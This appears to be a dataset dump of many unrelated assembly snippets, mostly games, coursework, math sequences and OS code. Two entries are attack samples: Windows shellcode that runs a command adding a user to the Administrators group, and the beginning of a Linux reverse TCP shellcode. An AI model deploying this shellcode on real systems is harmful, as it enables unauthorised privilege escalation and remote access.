content
stringlengths
23
1.05M
SECTION "Interior tileset", ROMX InteriorTileset:: db $4E full_ptr InteriorTilesetTiles db 0 db 0 tile_attr $84, 0, 0, 0, 0, 0, 1 tile_attr $84, 0, 0, 0, 0, 0, 1 tile_attr $84, 0, 0, 0, 0, 0, 1 tile_attr $84, 0, 0, 0, 0, 0, 1 tile_attr $80, 0, 2, 0, 0, 0, 0 tile_attr $80, 0, 2, 0, 0, ...
;ALP to add two 16-Bit numbers ;calculating lower bits LDA 0200H MOV B, A LDA 0202H ADD B STA 0204H ;calculating higher bits LDA 0201H MOV B, A LDA 0203H ADC B STA 0205H hlt
; TypeNames indexes (see data/types/names.asm) ; also used in: ; - PokedexTypeSearchConversionTable (see data/types/search_types.asm) ; - PokedexTypeSearchStrings (see data/types/search_strings.asm) ; - TypeMatchups (see data/types/type_matchups.asm) ; - TypeBoostItems (see data/types/type_boost_items.asm) const_def ...
; void __FASTCALL__ adt_ListSetCurrBefore(struct adt_List *list) ; 11.2006 aralbrec PUBLIC adt_ListSetCurrBefore EXTERN l_setmem ; enter: HL = struct adt_List* .adt_ListSetCurrBefore inc hl inc hl xor a jp l_setmem-5 ; state = AFTER, current ptr = 0
; A202171: The covering numbers rho_3(n). ; Submitted by Jon Maiga ; 1,3,4,6,9,12,15,18,23,27,32 mov $1,9 mul $1,$0 add $0,5 mul $1,$0 div $1,2 add $1,721 div $1,22 mov $0,$1 sub $0,31
page 56,132 name EGASYS title EGA Screen Device Driver subttl Header IFDEF OS2 .286 ; Oh goody, can use 80286 instructions ELSE ; NOT OS2 .8086 ; Have to support everything ENDIF ; NOT OS2 ; ; I N C L U D E S ; include ega.inc ; ; C O D E ; IFDEF OS2 ; Start of OS/2 functions ; ; DoSave - Save sta...
; #-----+-----------------------------------------# ; |Name:| P6112 - Optimized Player 6.1 Playroutine| ; +-----+-----------------------------------------+ ; |V1.06| P6112,E1x/E2x fix | ; |V1.05| P6111, EDx fix,better init/exit,Dxx note| ; |V1.04| P6110, E6x command fix+new option | ; |V1.03| P6109, compatibi...
; Update CRC .org 0x10 .word 0x0107B6D3, 0x14301B2F ; Add dmatable entries for new code ; Remove the unused files at the bottom the DMA Table ; - this isn't strictly necessary, but adds flexibility for the future .org 0xD1B0 .area 0x100, 0 .word 0x03480000, 0x03490000, 0x03480000, 0 .endarea ; Load new code...
%ifndef EXE_LENGTH %include "../UltimaPatcher.asm" %include "include/uw1.asm" %include "include/uw1-eop.asm" ; locations within the moveCursor procedure defineAddress 14, 0x0E56, tabJump defineAddress 14, 0x0E96, shiftTabJump %endif [bits 16] startPatch EXE_LENGTH, \ expanded overlay procedure: setMouseLookS...
BITS 64 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS= ;TEST_FILE_META_END ; convert 1 to a single precision float and store in xmm0 mov ecx, 1 cvtsi2ss xmm0, ecx ; convert 0 to a single precision float and store in xmm1 mov ecx, 0 cvtsi2ss xmm1, ecx ;TEST_BEGIN_RECORDING ; load 1 in single floating p...
;------------------------------------------------------------------------------ ;* ;* Copyright (c) 2006 - 2007, Intel Corporation. All rights reserved.<BR> ;* This program and the accompanying materials ;* are licensed and made available under the terms and conditions of the BSD Lic...
;* ;* CW : Character Windows Drivers ;* ;* keytable.asm : IBM Scan code translation tables ;* (see magic in KEYPOLL.ASM for details) ;***************************************************************************** ;* * MPSCVK : scan code -> virtual key MPSCVW STRUC ;* one element in array scMp DB ? ;* Scan Code vwMp...
; MovementPointers indexes (see engine/overworld/movement.asm) enum_start 0, +4 ; Directional movements enum movement_turn_head ; $00 turn_head: MACRO db movement_turn_head | \1 ENDM enum movement_turn_step ; $04 turn_step: MACRO db movement_turn_step | \1 ENDM enum movement_slow_step ; $08 slow_step: MACRO ...
.286 DATOS SEGMENT asc1 db '578' asc2 db '694' ascsum db '0000','$' result db ?,'$' DATOS ENDS PILA SEGMENT STACK DW 256 DUP (?) PILA ENDS CODIGO SEGMENT MAIN PROC FAR ASSUME CS:CODIGO, DS:DATOS, SS:PILA PUSH DS PUSH AX MOV AX, DATOS MOV DS, AX clc ...
; A126269: Numbers n such that hcl(n,n) < hcl(n,n-1) where hcl(n,i) is the Huffman code length; see comments. ; 3,4,9,10,21,22,45,46,93,94,189,190,381,382,765,766,1533,1534,3069,3070,6141,6142,12285,12286,24573,24574,49149,49150 mov $1,6 lpb $0,1 sub $0,2 mul $1,2 lpe add $1,$0 sub $1,3
SECTION code_fp_math48 PUBLIC am48_derror_erange_infc, am48_derror_erange_pinfc PUBLIC am48_derror_erange_minfc, am48_derror_erange_infxc EXTERN error_erange_zc, am48_dconst_inf am48_derror_erange_pinfc: exx res 7,b exx am48_derror_erange_infc: ; set AC' = +-inf depending on sign exx ca...
define ROMFS_MAGIC 0 ; 8 bytes magic, "-rom1fs-" define ROMFS_SIZE 8 ; 4 bytes, full size of the filesystem define ROMFS_CHECKSUM 12 ; 4 bytes, checksum of the first 512 bytes define ROMFS_VOLUME_NAME 16 ; volume name, padded to 16 bytes, zero terminated ; file headers start at the end of the volume name (padded) ...
.686p ;多个函数汇编的方法 ;1 导出far方法 ;(1 子程序文件sub.asm中,将需要导出的函数用public声明:public mytestfun ;(2 主程序文件main.asm开头声明 mytestfun proto:far,或者 EXTRN mytestfun:far,并且只能用far,不可以用near ;如果坚持想要near调用,sub.asm 中的代码段和sub.asm中的代码段名字必须一致,如都定义为:code segment public para use32,注意用public修饰 ;(3 link 选项添加连接选项,如link main.obj sub.obj ;编译后的exe的排...
; "Shut the Box" for the Apple I ; Jeff Jetton ; April-May 2020 ; Written for the dasm assembler, but should assemble under others ; with a few tweaks here and there. processor 6502 ; Contants KBD equ $D010 ; Location of input character from keyboard KBDCR equ $D011 ...
; ******************************************************************************************* ; ******************************************************************************************* ; ; Name : compare.asm ; Purpose : Expression Evaluation (Comparisons) ; Date : 22nd August 2019 ; Review : 1st September 20...
// Original test: ./chen-han/hw4/problem6/sll_4.asm // Author: chen-han // Test source code follows //test if the shift op will result in 0 bits filled in vacant bit positions lbi r1, -1 lbi r2, 2 sll r3, r1, r2 halt
; ; A palette ; Palette: MACRO ?0, ?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, ?12, ?13, ?14, ?15 dw ?0 dw ?1 dw ?2 dw ?3 dw ?4 dw ?5 dw ?6 dw ?7 dw ?8 dw ?9 dw ?10 dw ?11 dw ?12 dw ?13 dw ?14 dw ?15 ENDM ; ix = this Palette_Set: ld e,ixl ld d,ixh ex de,hl xor a ;Set p#pointer to zer...
SECTION "Init", ROM0[$100] Init: nop jp Start SECTION "Main", ROM0[$150] Start: di ld a, $e4 ld [$FF47], a ld A, $10 ; Set joypad to direction only ld [$FF00], a ld a,$93 ld [$FF40],a ; enable lcd ld a, 32 LoadTiles: ld HL, $8010 ld DE, TileData...
.file "(extract)pyexpat.c" .section .rodata.str1.1 .LC60: .string "(NO&)" .LC61: .string "ProcessingInstruction" # ---------------------- .text .p2align 4,,15 # ---------------------- .local my_ProcessingInstructionHandler .type my_ProcessingInstructionHandler, @function my_ProcessingInstructionHandler: ...
; JDH-8 BASIC HARDWARE TEST ; NO OS DEPENDENCIES @include "os/arch.asm" @org 0x0000 main: sw [ADDR_MB], 1 lda a, b, [(ADDR_BANK + 8)] mw c, 0 .loop: ; [hl] = [data + c] lda [data] add16 h, l, c ; d <- data lw d ; [hl] = [ab] <- d lda a, b sw d ; next scanline add16 a, b, SCANLINE_WIDTH_B...
kernel: file format elf32-i386 Disassembly of section .text: 80100000 <multiboot_header>: 80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh 80100006: 00 00 add %al,(%eax) 80100008: fe 4f 52 decb 0x52(%edi) 8010000b: e4 0f in $0xf,%al 8010000c <entry>:...
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1989 -- All Rights Reserved PROJECT: PC GEOS MODULE: MOUSE DRIVER -- Microsoft Bus Mouse (non-8255 version) device-dependent code FILE: msbus.asm AUTHOR: Adam de Boor ROUTINES: Name Descript...
.686p .mmx .model flat,stdcall option casemap:none option prologue:none option epilogue:none include g:\masm32\include\user32.inc include g:\masm32\include\kernel32.inc include ..\..\lib\sha1.inc include ..\..\lib\rc4.inc .data? hexTable db 4*20 dup (?) randHash db 20 dup (?) _randCount dd ? random_data_len equ $ -...
0x0000 (0x000000) 0x2118- f:00020 d: 280 | A = OR[280] 0x0001 (0x000002) 0xB434- f:00132 d: 52 | R = OR[52], A = 0 0x0002 (0x000004) 0x0000- f:00000 d: 0 | PASS 0x0003 (0x000006) 0x2119- f:00020 d: 281 | A = OR[281] ...
;------------------------------------------------------------------------------------------------------- ; File: Lab_4_Q1.asm ; Description: Counts the number of words and sentences in a string ; Input: Hard coded string ; Output: R5 and R7 contain word and sentence count respectively ; Author: David Thornton ; Lab Sec...
/* * Copyright © 2021 Michał 'Griwes' Dominiak * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable la...
; int wv_priority_queue_resize(wv_priority_queue_t *q, size_t n) SECTION code_clib SECTION code_adt_wv_priority_queue PUBLIC _wv_priority_queue_resize EXTERN _wa_priority_queue_resize defc _wv_priority_queue_resize = _wa_priority_queue_resize
;保存系统的基本信息 BOOTINFO equ 0x7c00 ;init.c可能会用 ;初始化 mov ax,0 mov ss,ax mov ds,ax mov es,ax mov sp,0x7c00 ;这部分代码源于linux的0.11版setup.s mov ah, 0x03 xor bh, bh int 0x10 mov [BOOTINFO], dx ;光标信息 mov ah, 0x88 int 0x15 mov [BOOTINFO + 2], ax ;扩展内存大小KB,即...
TITLE SNINIT - Sound and Play Initialization/Termination module ;*** ;SNINIT.ASM - Sound/Play initialization/termination module ; ; Copyright <C> 1986, Microsoft Corporation ; ;Purpose: ; This module contains Sound/Music specific initialization ; and termination support for the BASIC 3.0 runtime. This module ; will o...
; Arquivo: Max.nasm ; Curso: Elementos de Sistemas ; Criado por: Luciano Soares ; Data: 27/03/2017 ; Log : ; - Rafael Corsi portado para Z01 ; Calcula R2 = max(R0, R1) (R0,R1,R2 se referem a RAM[0],RAM[1],RAM[2]) ; ou seja, o maior valor que estiver, ou em R0 ou R1 sera copiado para R2 ; Estamos consid...
<% from pwnlib.shellcraft.arm.linux import syscall %> <%page args="n, groups"/> <%docstring> Invokes the syscall setgroups. See 'man 2 setgroups' for more information. Arguments: n(size_t): n groups(gid_t): groups </%docstring> ${syscall('SYS_setgroups', n, groups)}
; Этот файл содержит в себе определения для доступа к параметрам содержищимся в заголовке FAT16 файловой системы %ifndef FAT_DEF %define FAT_DEF %define bsOemName bp+0x03 ; 8 ; OEM название %define bsBytesPerSec bp+0x0B ; dw ; кол-во байт в секторе %define bsSecsPerClust bp+0x0D ; db ; секторов/кластер %...
FuchsiaPokecenter_h: db POKECENTER ; tileset db FUCHSIA_POKECENTER_HEIGHT, FUCHSIA_POKECENTER_WIDTH ; dimensions (y, x) dw FuchsiaPokecenterBlocks, FuchsiaPokecenterTextPointers, FuchsiaPokecenterScript ; blocks, texts, scripts db $00 ; connections dw FuchsiaPokecenterObject ; objects
;============================================================= ;=== FILE: fp568d.s ;=== ;=== Copyright (c)1998 Metrowerks, Inc. All rights reserved. ;============================================================= ; Recommended tab stop = 8. ;=============================================================================...
ori $ra,$ra,0xf sb $0,15($0) mtlo $4 lb $1,2($0) mthi $2 multu $6,$0 ori $4,$1,34873 lb $4,9($0) divu $0,$ra sll $0,$0,19 mtlo $0 sll $2,$2,26 multu $4,$2 divu $5,$ra srav $3,$4,$3 sb $1,14($0) mult $4,$2 multu $2,$2 divu $1,$ra mtlo $5 addiu $4,$4,-26601 mult $6,$2 mthi $6 mfhi $6 mtlo $4 mtlo $5 lui $0,704 lb $0,12($...
; Tests all non-I/O instruction behavior jmp main include "libraries/Serial.asm" failed_text: db "Test failed\n", $0 success_text: db "All tests passed!\n", $0 test_bytes: db $1, $2, $3, $4 main: jsr setup_serial ; Test 1 --- Load instructions ; Todo: Check flags changed ldr #1,A str [test]...
; Source Name: creditcalc.asm ; Compiled Name: creditcalc.o ; Executable Name: creditcalc ; Code Model: Flat mode protected model ; Version: 1.0 ; Created Date: 08 MAR 2006 ; Last Updated: 05 MAY 2006 ; Author: Paul V. Soriano ; Description: This module will take in input from the user and manipulate the data ...
OUTPUT "op_BIT_CB.bin" ;;; generate shift instructions: #CB00 .. #CB3F LUA ALLPASS instructions = { 'rlc', 'rrc', 'rl', 'rr', 'sla', 'sra', 'sli', 'srl' } registers = { 'b', 'c', 'd', 'e', 'h', 'l', '(hl)', 'a' } for ii = 1, #instructions do for rr = 1, #registers do ...
Name: kart-init-p.asm Type: file Size: 59305 Last-Modified: '1992-08-30T15:00:00Z' SHA-1: DED2947D7EC7E56FBF44025C62DEA63E68B7B150 Description: null
global test_case extern Array.splitb extern Array.eachb extern std.outb extern std.outln extern sys.error %include "Array.inc" section .text test_case: mov rax, test_array ; Array to split mov rbx, 4 ; delimit with value 4 call Array.splitb ; split into two ...
.text li $v0, 5 syscall li $t0, 400 div $v0, $t0 mfhi $t1 beq $t1, $0, yes li $t0, 100 div $v0, $t0 mfhi $t1 beq $t1, $0, no li $t0, 4 div $v0, $t0 mfhi $t1 beq $t1, $0, yes no: li $a0, 0 li $v0, 1 syscall li $v0, 10 syscall yes: li $a0, 1 li $v0, 1 syscall li $v0, 10 syscall
# check if arch is X86_64 A = arch A == ARCH_X86_64 ? next : dead A = sys_number A >= 0x40000000 ? dead : next A == write ? ok : next A == close ? ok : next A == dup ? ok : next A == exit ? ok : next return ERRNO(5) ok: return ALLOW dead: return KILL
dnl Itanium-2 mpn_gcd_1 -- mpn by 1 gcd. dnl Contributed to the GNU project by Kevin Ryde, innerloop by Torbjorn dnl Granlund. dnl Copyright 2002-2005, 2012, 2013 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and...
; this program handles the return of execution, and any errors encountered return_basic_error: return_asm_error: call _boot_ClearVRAM ld a,$2d ld (mpLcdCtrl),a call _DrawStatusBar call _DispErrorScreen ld hl,1 ld (curRow),hl ld hl,data_string_quit1 set textInverse,(iy + textFlags) call _PutS res textInverse...
#define REG_SP r15 #define REG_AP r14 #define REG_BPW r13 #define REG_4 r12 #define REG_1 r11 #define REG_0 r10 ___START:: lda REG_SP,0 lda REG_BPW,2 lda REG_4,4 lda REG_1,1 lda REG_0,0 jsb __main jsb _exit sav_svc: .dsw 1 _SVC:: stw r1,sav_svc ldw r1,4(r15) stw r1,lbl+1 lbl: svc 0 ldw r1,sav_svc ...
* Delete filing system drive definition blocks V0.0  Tony Tebby QJUMP * section exten * * DEL_DEFB delete drive definition blocks * xdef del_defb * include dev8_sbsext_ext_keys * del_defb trap #0 goto supervisor mode move.l a6,-(sp) save BASIC base address moveq #mt.inf,d0 trap #1 get sysvars move...
; ; Copyright (c) 2020 Bitdefender ; SPDX-License-Identifier: Apache-2.0 ; %ifndef _MULTIBOOT_YASM_ %define _MULTIBOOT_YASM_ %include "struct.nasm" %include "macros.nasm" %ifdef DOC_FILE multiboot.nasm - contains the definition for the MULTIBOOT_INFO structure and related data types. Used during system boot. ...
format PE GUI 4.0 include 'win32w.inc' stdcall FileToMemory,_file_name,_file_buffer,60 test eax,eax je .exit stdcall UTF16LE_TO_UTF8,_file_buffer,_buffer,100h,1 test eax,eax je .exit stdcall MemoryToFile,_out_file_name,_buffer,38 ...
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1990 -- All Rights Reserved PROJECT: Config MODULE: FILE: prefmgrTitledSummons.asm AUTHOR: Andrew Wilson, Dec 3, 1990 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name...
.MEMORYMAP DEFAULTSLOT 0 SLOT 0 START $F000 SIZE $1000 NAME "ROM" SLOT 1 START $80 SIZE $80 NAME "RAM" .ENDME .ROMBANKSIZE $1000 .ROMBANKS 1 .include "vcs.inc" .include "macro.inc"
SECTION code_l PUBLIC l_dec_dehl l_dec_dehl: ; decrement 32-bit value ; ; enter : dehl = 32 bit number ; ; exit : dehl = dehl - 1 ; ; uses : af, de, hl ld a,h or l dec hl ret nz dec de ret
.MODEL small .STACK .DATA num db 11h .CODE .STARTUP mov bl,00h mov al,num mov cx,0008h loop1: rcl al,1 ja next inc bl next: loop loop1 .EXIT end
; ================================================================ ; Macros ; ================================================================ if !def(incMacros) incMacros set 1 ; Copy a tileset to a specified VRAM address. ; USAGE: CopyTileset [tileset],[VRAM address],[number of tiles to copy] CopyTileset: macro ...
; ; Huffman alphabet builder ; Alphabet_MAX_CODELENGTH: equ 15 Alphabet_LEAF_SIZE: equ 3 Alphabet: MACRO Process: jp 0 root: equ $ - 2 codeLengthCount: dw 0 codeLengths: dw 0 symbolHandlers: dw 0 treeSize: dw 0 treeStart: dw 0 treeEnd: dw 0 sortedCodeLengths: dw 0 codeLengthCounts: ds Alpha...
;This kernel renders a moving square on the screen org 0x8000 bits 16 mov ah, 0 ;set display mode mov al, 13h ;13h = 320x200 int 0x10 mov cx, 160-10 ;let start position be the middle of the screen mov dx, 100-10 mov si, 20 ;size of square = 20x20 pixel mov di, 20 mov al, 4 ;red color main: call drawBox ;d...
db DEX_FLAAFFY ; pokedex id db 70 ; base hp db 55 ; base attack db 55 ; base defense db 45 ; base speed db 70 ; base special db ELECTRIC ; species type 1 db ELECTRIC ; species type 2 db 100 ; catch rate db 117 ; base exp yield INCBIN "pic/ymon/flaaffy.pic",0,1 ; 66, sprite dimensions dw FlaaffyPicFront dw F...
<% from pwnlib.shellcraft.arm.linux import syscall %> <%page args="fd, file, buf, flag"/> <%docstring> Invokes the syscall fstatat64. See 'man 2 fstatat64' for more information. Arguments: fd(int): fd file(char): file buf(stat64): buf flag(int): flag </%docstring> ${syscall('SYS_fstatat64', f...
; *** MEMORY HELPERS *** ; -------------------- [ Routine: memcpy ] -------------------- ; -----copies a block of memory from source to destination----- ; input: [esp+6] destination (address) ; input: [esp+4] source (address) ; input: [esp+2] size (in bytes) memcpy: mov si, [esp+4] ; src mov di, [esp+6] ; dst cl...
; ; ROM Console routine for the Philips Videopac C7420 ; By Stefano Bodrato - 2015 ; Apr, 2107: fixes and improvements ; ; $Id:fputc_cons.asm, 2017, Stefano $ ; SECTION code_clib PUBLIC fputc_cons_native .fputc_cons_native ; ODDLY THIS DOESN'T WORK ! (O2EM emulator problem ?) ; ld hl,2 ; ad...
Md5DotNet.Common.UnsafeMemoryCopy(Byte*, Byte*, Int32) Begin 00007ffe8d351fc0, size d7 *** WARNING: Unable to verify checksum for Md5DotNet.exe c:\code\blog\md5\Md5DotNet\Md5DotNet\Common.cs @ 7: >>> 00007ffe`8d351fc0 4c8bca mov r9,rdx 00007ffe`8d351fc3 458bd0 mov r10d,r8d c:\code\blog\md5\M...
SECTION code_fp_am9511 PUBLIC cam32_sdcc_frexp_callee EXTERN asm_am9511_frexp_callee ; float frexpf(float x, int8_t *pw2); ; Entry: ; Stack: ptr right, float left, ret defc cam32_sdcc_frexp_callee = asm_am9511_frexp_callee
;<HEX2BCD> LHLD NUMBER1 CALL BCD2HEX STA BCD1 ;Store the Least Significant Byte MOV A,D STA BCD1+1 ;Store the Most Significant Byte MOV A,C STA BCD1+2 LHLD NUMBER2 CALL BCD2HEX STA BCD2 ;Store the Least Significant Byte MOV A,D STA BCD2+1 ;Store the Most Significant Byte MOV...
section .multiboot_header header_start: dd 0xe85250d6 ; magic number dd 0 ; protected mode code dd header_end - header_start ; header length ; checksum dd 0x100000000 - (0xe85250d6 + 0 + (header_end - header_start)) ; Explanation of the checksum ; You might wonder why we're subtracting these va...
section .text global _start _start: mov eax, 3 mov ebx, 3 mov ecx, x top: add ebx, [ecx] add ecx 1 ; pindah pointer ke elemen berikutnya dec eax eax jnz top ; jika counternya tidak 0 maka looping lagi done: add ebx, '0' mov [sum], ebx ; hasil semua disimpa...
Name: ys_w56.asm Type: file Size: 11155 Last-Modified: '2016-05-13T04:51:15Z' SHA-1: 21B6B55474E2507917FE3B312A755829B5F92A4A Description: null
.386 .model flat,C PUBLIC _bios_printer .code _bios_printer proc near mov ah,[esp+4] mov edx,[esp+8] mov al,[esp+12] int 17h movzx eax,ah ret _bios_printer endp end
.386 .model FLAT, C PUBLIC SETCLER .CODE SETCLER: PUSH EBP MOV EBP, ESP ADD EBP, 8 MOV ECX, [EBP + 8] ; P MOV EAX, [EBP + 4] ; N XOR EDX, EDX MOV EBX, 32 DIV EBX MOV EBX, [EBP] ; X CMP EAX, 0 JE M ADD EBX, 4 M: CMP ECX, 0 JE ZERO JMP ONE ZERO: BTR [EBX], EDX...
;name: kernel.asm ; ;description: This is the "kernel" file which will be loaded by the bootloader. ; For the sake of simplicity it just displays a message on the screen. ; This "kernel" can on the other hand start memory management routines, loads ; a command p...
.code extern vmexit_handler:PROC _get_es_selector PROC mov ax, es ret _get_es_selector ENDP _get_cs_selector PROC mov ax, cs ret _get_cs_selector ENDP _get_ss_selector PROC mov ax, ss ret _get_ss_selector ENDP _get_ds_selector PROC mov ax, ds ret _get_ds_selector ENDP _get_fs_selector PROC mov ax, fs re...
;;; $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ;;; ;;; ASM Source code for Red GBC, by Evan Bowman, 2021 ;;; ;;; ;;; The following licence covers the source code included in this file. The ;;; game's characters and artwork belong to Evan Bowman, and should not be used ;;; without permi...
dp2(8) g91<1>F g88<4>.xyyyF g88<4>.xyyyF { align16 1Q }; dp2(8) m4<1>.xF g1<0>.yF g1<0>.yF { align16 NoDDClr 1Q }; dp2(8) m4<1>.yzF g1<0>.xF g1<0>.zwwwF { align16 NoDDClr,NoDDChk 1Q }; dp2(8) m4<1>.wF g1<0>.ywwwF g1<0>.wy...
pha lda ({z1}),y sta !+ +1 iny lda ({z1}),y sta !+ +2 pla !: sta $ffff
// Original test: ./lavallee/hw4/problem6/bnez_2.asm // Author: lavallee // Test source code follows //// This program tests the bnez when the amount to jump is 0 lbi r4, 1 // set r4 to a non zero number bnez r4, 0 // branch with an offset of 0 halt
BITS 64 DEFAULT REL global temp_var section .tdata write tls temp_var db 0 section .text ;without temp variable global TestFnAsm1 TestFnAsm1: xor rcx,rcx .label_1: mov al,[rdi+rcx] inc al mov [rdi+rcx],al inc rcx cmp rcx,rsi jl .label_1 xor rax,rax ret ;with TLS (thread-local storage) global TestFnAsm2 Tes...
; This file contains the code for the kernel LABEL core_os_core AUTO LABEL core_os_key_input AUTO LABEL core_os_print_reg AUTO LABEL core_os_puts AUTO LABEL core_os_putchar AUTO LABEL core_os_shut_down AUTO LA...
; Aula 12 - SSE ; a12e01.asm ; Transferência de Inteiros entre MEM e Y|XMMi ; nasm -f elf64 a12e01.asm ; gcc -m64 -no-pie a12e01.o -o a12e01.x %define _exit 60 section .data align 32, db 0 ; alinhar memória ou SIGSEGV durante MOVDQA! vetInt1 : dd 10, 20, 30, 40, 50, 60, 70, 80 section .bss vetIntR1 : res...
; A140438: Number of letters in word for the number n in Tamil. ; 1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2 div $0,10 add $0,1
[CPU 8086] %define STANDALONE %define ROM %define BIG %define SD %define SCREEN org 00000h jmp 0F000h:0F000h times 0008h-($-$$) db 0FFh jmp HDROM_Handle times 000Ch-($-$$) db 0FFh dw 0F001h dw "HD" incbin 'src/disk/hd.bin' %include 'src/8088/include/hdrom.asm' %include 'src/8088/includ...
.model flat,c .code ; extern "C" int DivisionMul_(int a, int b, int* prod, int* quo, int* rem); ; Description: Show the use of imul and idiv ; Returns: 0 Error ; 1 Success ; Computes: *prod a * b ; *quo = a / b ; *rem = a % b DivisionMul_ proc push ebp mov ebp, esp push ebx ; Check is no...
; char *lltoa(uint64_t num, char *buf, int radix) SECTION code_clib SECTION code_stdlib PUBLIC lltoa_callee EXTERN asm_lltoa lltoa_callee: pop af ;ret pop bc ;radix exx pop bc ;buf exx pop hl ;num pop de ;num exx pop hl ;num pop de ;num ex...
.data myMessage: .asciiz "Hello World\n" # demonstrate a string myInt: .word 4100 # demonstrate an integer myInt2: .word 32 myArray: .space 40 # allocate space for 10 words (integers) myChar: .byte 'z' # allocate space for 1 byte newline: .byte '\n' ...
dc.w word_26936-Map_LBZRideGrapple dc.w word_2693E-Map_LBZRideGrapple dc.w word_26946-Map_LBZRideGrapple word_26936: dc.w 1 ; DATA XREF: ROM:00026930o dc.b $F0, 5, 0, 0, $FF, $F8 word_2693E: dc.w 1 ; DATA XREF: ROM:00026930o dc.b $FC, 0, 0, 4, $FF, $FC word_26946: dc.w 1 ; DATA XREF: ROM...
.gba .relativeinclude on .erroronwarning on .open "ftc/rom.gba", 08000000h .org 0x08002138 ; Nintendo logo game state update code. push r14 mov r0, 0h ; Save file 0. bl 800B7A8h ; LoadSave ldr r0, =849F588h ; Room pointer ldr r1, =2000068h ; Location of pointer to current room str r0, [r1] ; Re...
; A309093: The analog of A309077(n), but allowing fractional powers. ; 1,2,2,3,3,4,5,5,6,6,7,7,8,8,9,10,10,11,11,12 add $0,3 mul $0,5 div $0,9 mov $1,$0
; Metatile format: ; 16x16, 2 bytes per tile ; - First byte of tile for tile ID ; - Second byte of tile for attributes ; ================================================================ section "Test tileset - Graphics",romx TestMapTiles: incbin "GFX/TestTiles.2bpp.wle" section "Test tileset - Collision map + me...
; --------------------------------------------------------------------------- ; Sprite mappings - Moto Bug enemy (GHZ) ; --------------------------------------------------------------------------- dc.w byte_F7AE-Map_obj40, byte_F7C3-Map_obj40 dc.w byte_F7D8-Map_obj40, byte_F7F2-Map_obj40 dc.w byte_F7F8-Map_obj40,...
BITS 32 section .data section .text global _start _start: jmp short one two: pop esi xor eax, eax push eax mov edx, 0x7c862aed ; winexec() push esi call edx xor eax, eax mov edx, 0x7c81cb12 ; exit() push eax call edx one: call two db 'cmd.exe /c net localgroup Administrators /ADD usuario', 0x00 ;\xeb\x16\x5e\x31...
#include "game/music/theme_main/theme_main.asm" audio_music_start: .( jsr audio_unmute_music lda #%00001111 ; ---DNT21 sta APU_STATUS ; lda #%01111100 ; DDLCVVVV sta audio_duty lda #<track_main_square1 sta audio_square1_track lda #>track_main_square1 sta audio_square1_track+1 lda #<track_main_square2 sta audio_squ...
; Top-hole Golf ; Copyright 2020-2021 Matthew Clarke ; ***************** ; *** CONSTANTS *** ; ***************** font_c_ASCII_SPACE = 32 font_c_ASCII_PLUS = 43 font_c_ASCII_MINUS = 45 font_c_ASCII_0 = 48 font_c_ASCII_A = 65 ; NOTE: this isn't ASCII standard!!! font_c_ONE_HALF = 34 font_l_DATA !bin "../../assets/...
; AtieDOS 2.10 Help Command ; Copyright (c) 2020 AtieSoftware. All rights reserved. ; See LICENSE in the root folder command_help: call os_command_init mov bx, .HELP_COMMANDS call os_print_string call os_command_finish .HELP_COMMANDS: db "about chset clear echo help pause prompt restart shutdown s...
BattleCommand_PayDay: ; payday xor a ld hl, wStringBuffer1 ld [hli], a ldh a, [hBattleTurn] and a ld a, [wBattleMonLevel] jr z, .ok ld a, [wEnemyMonLevel] .ok add a ld hl, wPayDayMoney + 2 add [hl] ld [hld], a jr nc, .done inc [hl] dec hl jr nz, .done inc [hl] .done ld hl, CoinsScatteredText jp St...
; this was created by using clang against a .cpp file, and then prefixing this file with some asembly to: ; - run the intended function (eg _Z3fooii) ; - have an _Z3outi function ; ; These are first steps to being able to directly compile and execute a c++ file ; ; ~/Downloads/clang+llvm-14.0.0-x86_64-apple-darwin/bi...
BITS 32 ; ; RevShell.asm ; ; ; Created by Shannon Zoch on 6/29/15. ;* ;* Title: Shell Reverse TCP Shellcode - 74 bytes ;* Platform: Linux/x86 ;* Date: 2014-07-25 ;* Author: Julien Ahrens (@MrTuxracer) ; Website: http://www.rcesecurity.com ; ; _start: push 0x66 pop eax push 0x1 pop ebx xor edx,edx push ...
; This file is generated from a similarly-named Perl script in the BoringSSL ; source tree. Do not edit by hand. %ifdef BORINGSSL_PREFIX %include "boringssl_prefix_symbols_nasm.inc" %endif %ifidn __OUTPUT_FORMAT__,obj section code use32 class=code align=64 %elifidn __OUTPUT_FORMAT__,win32 $@feat.00 equ 1 section .text...
extern m7_ippsMD5GetSize:function extern n8_ippsMD5GetSize:function extern y8_ippsMD5GetSize:function extern e9_ippsMD5GetSize:function extern l9_ippsMD5GetSize:function extern n0_ippsMD5GetSize:function extern k0_ippsMD5GetSize:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data a...